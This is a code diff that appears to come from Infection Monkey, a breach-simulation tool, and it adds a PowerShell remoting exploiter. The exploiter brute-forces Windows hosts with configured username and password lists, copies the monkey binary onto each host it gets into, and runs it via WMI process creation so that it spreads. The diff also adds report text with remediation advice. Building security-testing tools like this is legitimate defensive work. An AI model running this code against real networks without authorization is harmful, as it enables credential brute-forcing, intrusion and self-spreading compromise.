diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index df40f3007..4c66868b2 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -6,7 +6,11 @@ class FailedExploitationError(Exception): """ Raise when exploiter fails instead of returning False """ -class InvalidRegistrationCredentialsError(Exception): +class CredentialsError(Exception): + """ Raise when credentials are wrong""" + + +class InvalidRegistrationCredentialsError(CredentialsError): """ Raise when server config file changed and island needs to restart """ diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py new file mode 100644 index 000000000..60e05c635 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell.py @@ -0,0 +1,152 @@ +import logging +import os +import typing + +import spnego +from pypsrp.client import Client +from pypsrp.powershell import PowerShell, RunspacePool +from urllib3 import connectionpool + +import infection_monkey.monkeyfs as monkeyfs +from common.utils.exceptions import FailedExploitationError +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey_by_os, +) +from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost + +LOG = logging.getLogger(__name__) + +TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" + + +class PowershellExploiter(HostExploiter): + # attack URLs + _TARGET_OS_TYPE = ["windows"] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = "Powershell remote" + + def __init__(self, host: VictimHost): + # If pysrp will inherit root logger, it will log extensive and potentially sensitive info + logging.getLogger("pypsrp").setLevel(logging.ERROR) + logging.getLogger(spnego.__name__).setLevel(logging.ERROR) + logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR) + + super().__init__(host) + self.client = None + + def _exploit_host(self): + try: + self.client = self.exploit_without_credentials() + except FailedExploitationError: + LOG.info("Failed exploitation without credentials.") + try: + self.client = self.exploit_with_usernames_only( + usernames=self._config.exploit_user_list + ) + except FailedExploitationError: + LOG.info("Failed exploitation using username list.") + try: + self.client = self.exploit_with_credentials( + self._config.get_exploit_user_password_pairs() + ) + except FailedExploitationError: + LOG.info("Failed exploitation using credentials from configuration. Quiting.") + return False + + arch = self.get_host_arch() + + monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=(arch == WIN_ARCH_32)) + + # write virtual file to actual local file + with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: + with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: + monkey_local_file.write(monkey_virtual_file.read()) + + try: + if arch == WIN_ARCH_32: + monkey_path_on_victim = self._config.dropper_target_path_win_32 + else: + monkey_path_on_victim = self._config.dropper_target_path_win_64 + + self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim) + except Exception: + return False + finally: + os.remove(TEMP_MONKEY_BINARY_FILEPATH) + + monkey_params = build_monkey_commandline( + target_host=self.host, + depth=get_monkey_depth() - 1, + vulnerable_port=None, + location=monkey_path_on_victim, + ) + + monkey_execution_command = RUN_MONKEY % { + "monkey_path": monkey_path_on_victim, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } + + with self.client.wsman, RunspacePool(self.client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", monkey_execution_command) + ps.invoke() + + return True + + def exploit_without_credentials(self) -> Client: + return self.try_exploit() + + def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: + for username in usernames: + try: + client = self.try_exploit(username) + return client + except FailedExploitationError: + pass + raise FailedExploitationError + + def exploit_with_credentials( + self, credential_list: typing.List[typing.Tuple[str, str]] + ) -> Client: + for username, password in credential_list: + try: + client = self.try_exploit(username, password) + return client + except FailedExploitationError: + pass + raise FailedExploitationError + + def try_exploit( + self, username: typing.Optional[str] = None, password: typing.Optional[str] = None + ) -> Client: + try: + with Client( + self.host.ip_addr, + username=username, + password=password, + cert_validation=False, + ) as client: + # attempt to execute dir command to know if authentication was successful + client.execute_cmd("dir") + return client + except Exception: + raise FailedExploitationError + + def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: + output = self.execute_cmd_on_host(GET_ARCH_WINDOWS) + if "64-bit" in output: + return WIN_ARCH_64 + else: + return WIN_ARCH_32 + + def execute_cmd_on_host(self, cmd: str) -> str: + output, _, _ = self.client.execute_cmd(cmd) + return output diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 27b8f1d6f..33704eab6 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -26,6 +26,7 @@ BASIC = { "VSFTPDExploiter", "MSSQLExploiter", "DrupalExploiter", + "PowershellExploiter", ], } }, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index c450f8d2a..f5c6b031d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -154,5 +154,11 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey" "/docs/reference/exploiters/zerologon/", }, + { + "type": "string", + "enum": ["PowershellExploiter"], + "title": "Powershell Exploiter", + "info": "Exploits powershell remote execution setups.", + }, ], } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 4f8af8c62..491921093 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -52,6 +52,7 @@ import { zerologonIssueReport, zerologonOverviewWithFailedPassResetWarning } from './security/issues/ZerologonIssue'; +import {powershellIssueOverview, powershellIssueReport} from './security/issues/PowershellIssue'; class ReportPageComponent extends AuthComponent { @@ -142,6 +143,11 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: shellShockIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'PowershellExploiter': { + [this.issueContentTypes.OVERVIEW]: powershellIssueOverview, + [this.issueContentTypes.REPORT]: powershellIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, 'Ms08_067_Exploiter': { [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, [this.issueContentTypes.REPORT]: ms08_067IssueReport, @@ -297,8 +303,7 @@ class ReportPageComponent extends AuthComponent {

To improve the monkey's detection rates, try adding users and passwords and enable the "Local - network - scan" config value under Basic - Network. + network scan" config value under Basic - Network.

}

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js new file mode 100644 index 000000000..af4066443 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js @@ -0,0 +1,25 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function powershellIssueOverview() { + return (

  • Windows servers allow powershell remote command execution.
  • ); + } + +export function powershellIssueReport(issue) { + return ( + <> + Restrict powershell remote command execution and/or + harden the credentials of relevant users. + + The machine {issue.machine} ({issue.ip_address}) was + exploited via Powershell remoting. +
    + The attack was made possible because the target machine had + Powershell remoting enabled and Monkey + had access to correct credentials. +
    + + ); + } diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b39d61dd8..e5080d2bb 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -86,6 +86,7 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) _.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) +PowershellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)